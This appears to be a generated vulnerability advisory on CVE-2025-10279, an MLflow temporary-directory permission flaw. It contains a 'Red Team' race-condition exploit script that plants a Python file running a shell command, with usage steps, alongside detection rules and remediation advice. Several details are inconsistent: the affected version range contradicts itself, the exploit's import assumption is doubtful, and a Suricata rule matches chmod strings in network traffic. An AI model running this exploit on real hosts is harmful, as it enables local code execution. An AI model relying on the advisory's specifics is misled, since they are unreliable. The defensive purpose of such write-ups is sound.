CVE-2025-10279
Executive Summary
CVE-2025-10279 is a high-severity vulnerability in MLflow version 2.20.3 (and earlier versions up to 3.4.0) that arises from insecure permissions assigned to temporary directories used for creating Python virtual environments. The temporary directory is created with world-writable permissions (0o777), allowing any local user with write access to /tmp to exploit a race condition. An attacker can overwrite .py files within the virtual environment during its creation, leading to arbitrary code execution in the context of the MLflow process. The vulnerability has a CVSS score of 7.0, indicating high severity, though the attack complexity is high and requires local access. The issue is resolved in MLflow version 3.4.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the MLflow Python package, which is widely used in MLOps pipelines. The insecure temporary directory creation can be exploited by an attacker with local access to the system where MLflow is running. This could be a shared development environment, a CI/CD runner, or a production server. The attack does not require network access but does require the ability to write to the /tmp directory and time the race condition precisely. The fix in version 3.4.0 addresses the root cause by setting proper permissions on the temporary directory.
CVSS Breakdown & Threat Level
- CVSS Score: 7.0 (High)
- Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): High (H) – Exploitation requires precise timing to win a race condition.
- Privileges Required (PR): Low (L) – The attacker needs write access to
/tmp, which is typically available to any local user. - User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Arbitrary code execution can lead to data exfiltration.
- Integrity (I): High (H) – The attacker can modify files in the virtual environment.
- Availability (A): High (H) – Code execution can disrupt MLflow services.
Threat Level: High. While the attack complexity is high, successful exploitation grants full control over the MLflow process, potentially leading to lateral movement or data compromise.
Deep Dive & Mechanics
The vulnerability lies in how MLflow creates temporary directories for Python virtual environments. When MLflow sets up a virtual environment (e.g., for model serving or experiment execution), it creates a temporary directory under /tmp with permissions 0o777 (world-readable, world-writable, world-executable). This is done to allow the virtual environment to be created and used, but it inadvertently allows any local user to write to that directory.
The attack exploits a race condition: between the time the temporary directory is created and the time the virtual environment is fully set up, an attacker can write a malicious .py file into the directory. When the virtual environment is activated, Python will import modules from that directory, executing the attacker's code. The race window is small but exploitable with repeated attempts.
The vulnerable code path is in the mlflow.utils.virtualenv module, specifically in the function that creates the temporary directory. The fix in version 3.4.0 changes the permissions to 0o755 (owner-writable only) or uses a more secure method like tempfile.mkdtemp() with proper umask settings.
Vulnerable vs. Patched Code
Vulnerable Code (mlflow 2.20.3):
import tempfile
import os
def create_virtualenv(env_name):
tmp_dir = tempfile.mkdtemp(prefix="mlflow-env-")
os.chmod(tmp_dir, 0o777) # Insecure: world-writable
# ... rest of virtualenv creation
Patched Code (mlflow 3.4.0):
import tempfile
import os
def create_virtualenv(env_name):
# Use secure permissions: only owner can write
old_umask = os.umask(0o022)
try:
tmp_dir = tempfile.mkdtemp(prefix="mlflow-env-")
# No explicit chmod needed; mkdtemp respects umask
finally:
os.umask(old_umask)
# ... rest of virtualenv creation
The patched version relies on the system's umask to set secure permissions, preventing unauthorized write access.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Local access to a system running MLflow 2.20.3.
- Write access to
/tmp. - Ability to run a script that repeatedly monitors
/tmpfor new directories.
Exploit Script (race_condition_exploit.py):
import os
import time
import tempfile
import shutil
TARGET_DIR = "/tmp"
MALICIOUS_CODE = """
import os
os.system('id > /tmp/pwned.txt')
"""
def exploit():
while True:
# List directories in /tmp
for item in os.listdir(TARGET_DIR):
full_path = os.path.join(TARGET_DIR, item)
if os.path.isdir(full_path) and item.startswith("mlflow-env-"):
# Check if directory is world-writable
if os.stat(full_path).st_mode & 0o002:
# Write malicious .py file
malicious_file = os.path.join(full_path, "malicious.py")
with open(malicious_file, "w") as f:
f.write(MALICIOUS_CODE)
print(f"[+] Injected malicious code into {full_path}")
return
time.sleep(0.01)
if __name__ == "__main__":
exploit()
Usage:
- Run the exploit script in the background on the target system.
- Trigger MLflow to create a virtual environment (e.g., by running an experiment or serving a model).
- The script will detect the temporary directory and inject a malicious
.pyfile. - When the virtual environment is activated, the malicious code executes.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor
/tmpfor directories with world-writable permissions (mode 0o777). - Use file integrity monitoring (FIM) to detect unexpected changes in temporary directories.
- Enable auditd to log file creation and permission changes in
/tmp.
Mitigation:
- Upgrade to MLflow 3.4.0 or later.
- If upgrade is not possible, restrict write access to
/tmpusing filesystem ACLs or mount options (e.g.,noexec,nosuid). - Use a dedicated, isolated directory for MLflow temporary files with strict permissions.
Indicators of Compromise (IOCs)
File System:
- Directories under
/tmpwith permissions0o777and names starting withmlflow-env-. - Unexpected
.pyfiles in/tmp/mlflow-env-*directories. - Files in
/tmpwith suspicious content (e.g.,os.system()calls).
- Directories under
Process:
- MLflow process creating temporary directories with
chmod 0o777. - Unusual child processes spawned from MLflow (e.g., shell commands).
- MLflow process creating temporary directories with
Network:
- Outbound connections from the MLflow process to unexpected IPs (if the malicious code exfiltrates data).
Logs:
- Audit logs showing
chmodoperations on/tmpdirectories. - System logs indicating file creation in
/tmpby non-MLflow users.
- Audit logs showing
Detection Engineering
YARA Rule
rule CVE_2025_10279_MLflow_TempDir_Permissions {
meta:
description = "Detects MLflow temporary directories with world-writable permissions"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-10279"
strings:
$chmod_777 = "chmod" ascii wide nocase
$mlflow_env = "mlflow-env-" ascii wide nocase
$permission_777 = "0o777" ascii wide
condition:
$mlflow_env and ($chmod_777 or $permission_777)
}
Sigma Rule
title: MLflow Insecure Temporary Directory Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects MLflow creating temporary directories with world-writable permissions (CVE-2025-10279)
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/mlflow'
CommandLine|contains: 'chmod'
CommandLine|contains: '777'
condition: selection
falsepositives:
- Legitimate use of chmod 777 by other applications
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-10279 MLflow Temp Dir Exploit"; flow:to_server; content:"mlflow-env-"; nocase; content:"chmod"; nocase; content:"777"; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade MLflow to version 3.4.0 or later. This is the only complete fix.
- Restrict
/tmppermissions on the host system. Consider mounting/tmpwithnoexecandnosuidoptions to limit the impact of code execution. - Use a dedicated temporary directory for MLflow with strict permissions (e.g.,
chmod 0700).
Long-Term Measures:
- Implement file integrity monitoring (FIM) on
/tmpto detect unauthorized file creation. - Enable auditd to log all
chmodoperations and file creations in/tmp. - Apply the principle of least privilege to all MLflow processes.
- Regularly review and update MLflow to the latest version.
Workarounds (if upgrade is not possible):
- Set a restrictive umask before starting MLflow (e.g.,
umask 0077). - Use a custom temporary directory via the
TMPDIRenvironment variable, pointing to a secure location.
Valters IT